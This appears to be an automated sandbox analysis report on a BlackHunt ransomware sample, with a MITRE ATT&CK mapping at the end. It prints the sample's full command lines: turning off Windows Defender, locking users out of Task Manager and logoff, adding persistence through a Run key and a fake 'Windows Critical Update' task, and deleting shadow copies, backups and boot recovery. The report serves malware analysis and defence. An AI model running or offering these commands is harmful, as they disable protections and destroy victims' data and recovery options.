PID 2232 wrote to memory of 2608	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	56
PID 2232 wrote to memory of 2608	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	56
PID 2232 wrote to memory of 2608	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	56
PID 2232 wrote to memory of 2608	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	56
PID 2232 wrote to memory of 1156	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	58
PID 2232 wrote to memory of 1156	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	58
PID 2232 wrote to memory of 1156	2232	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe	58

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe
"C:\Users\Admin\AppData\Local\Temp\cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2232
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  PID:3064
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    PID:2676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3056
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2588
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2688
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2132
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2572
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    PID:664
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2848
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:1792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2600
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:1636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2248
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2804
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2728
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:2748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:1800
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:440
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2576
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2340
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:2992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2236
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:1104
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2608
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:2972
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:1156
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:1740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:468
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry class
    PID:2676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2860
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:2872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:1524
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:2468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2240
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1648
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:3036
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1944
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2752
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:1776
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:376
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:2736
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:1772
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1984
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:3016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1784
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:584
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2252
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1468
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:2856
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:1672
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2868
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe" /F
  2⤵
  PID:1248
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\cf475a3e3322b0b8383b748f30bf2e8b2bf01da9efcda81d782c90b5ecd4e807.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:1112
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:1240
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:1852
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:1920
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:3020
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    - Modifies registry class
    PID:664
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2960
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2360
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1544
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2164
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:3068
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:2192
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2112
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2572
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1108
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:1492

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2684

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1048

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:2140

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:2236

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery